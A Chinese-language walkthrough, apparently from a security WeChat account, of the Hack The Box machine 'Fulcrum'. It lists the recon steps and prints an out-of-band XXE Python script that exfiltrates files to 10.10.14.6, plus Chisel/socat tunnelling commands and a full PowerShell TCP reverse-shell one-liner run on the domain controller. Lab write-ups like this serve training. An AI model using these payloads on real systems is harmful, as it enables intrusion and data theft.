现在公众号推文机制变了,只对常读和星标的公众号才展示大图推送
建议大家能把【moonsec】“设为星标”哦,否则可能就看不到了
暗月最近建立了数个攻防交流群 有兴趣 加微信 备注攻防 拉入群
使用nmap进行端口扫描,发现存在大量端口开放。
接着去查看其版本和对应的服务。
使用wfuzz对其url路径后的参数进行枚举。
使用工具进行目录枚举,未发现有用的目录。
接着去看服务,访问端口为4的页面。
然后继续对其进行爆破,发现存在home.php.
然后尝试进行上传,发现没法上传成功。
访问88端口,发现存在phpadmin登录界面。
尝试弱口令登录,没有成功。
使用curl进行测试,发现有回显。
接着使用burp,然后抓包。
发现其存在xxe漏洞
然后使用xxe进行加载.dtd文件来读取文件。
开启http服务。
然后将读取到的内容进行解码,成功获取到读取的内容
#!/usr/bin/python3import base64
import logging
import readline
import requests
import threading
import time
from flask import Flask, request
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
app = Flask(__name__)
prev_data = ""
xml_template = """<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.10.14.6/dtd?fn={}">
<data>&send;</data>"""
@app.route("/dtd")
def dtd():
fn = request.args['fn']
return f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={fn}">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://10.10.14.6/exfil?data=%file;'>">
%all;"""
@app.route("/exfil")
def data():
global prev_data
b64data = request.args['data'].replace(' ', '+') # Flask tries to URL decode it
print(b64data)
print(len(b64data))
data = base64.b64decode(b64data).decode().strip()
if data != prev_data:
print(data)
prev_data = data
return ""
def web():
app.run(host="0.0.0.0", port=80)
if __name__ == "__main__":
threading.Thread(target=web, daemon=True).start()
time.sleep(1)
#app.run(debug=True, use_reloader=False, host="0.0.0.0", port=80)
while True:
try:
fn = input("file> ")
xml = xml_template.format(fn)
requests.post('http://10.10.10.62:56423', data=xml)
except KeyboardInterrupt:
print()
执行脚本来反弹shell
开启http服务。
发现该脚本可以成功执行命令。
解码进行查看执行ping之后的内容。
使用nc进行反弹。
成功获取webshell
查看网络进程。
查看端口。
上传nmap,然后进行端口扫描,发现其存在5985端口。
发现存在config.inc.php,并发现了用户名和密码。
上传Chisel,然后搭建隧道。
./socat tcp-listen:60218,reuseaddr,fork tcp:192.168.122.228:5985 &
./chisel_1.9.1_linux_amd64 server -p 8000 --reverse
./chisel_1.9.1_linux_amd64 client 10.10.14.39:8001 R:socks
./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5985
socat tcp-listen:5985,reuseaddr,fork tcp:10.10.16.5:55555
然后在kali里面配置prtoychains,然后进行连接测试。
Winrm获取shell
发现存在dc和laap的连接记录。
鉴于帐户名称和上面的注释,查询活动目录域似乎是个好主意。要从 PowerShell 查询 LDAP,我需要一个DirectoryEntry对象。这些对象被引用为System.DirectoryServices.DirectoryEntry, 或ADSI。有多种构造函数(创建对象的方法),但我将使用这个,因为它允许我传递用户名和密码。
搜索用户
发现有8个用户,它们全部转储并滚动浏览
查询域管理员
上传脚本,然后执行。
获取user.txt
.\c.execlient10.10.14.39:8000R:5985:192.168.122.132:5985
隧道
枚举
查看共享。
发现域管密码
读取到root.txt
执行命令,然后使用nc来反弹shell。
Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { $client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
REF:
https://www.cnblogs.com/autopwn/p/14049762.html
https://www.hackingarticles.in/hack-the-box-fulcrum-walkthrough/
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏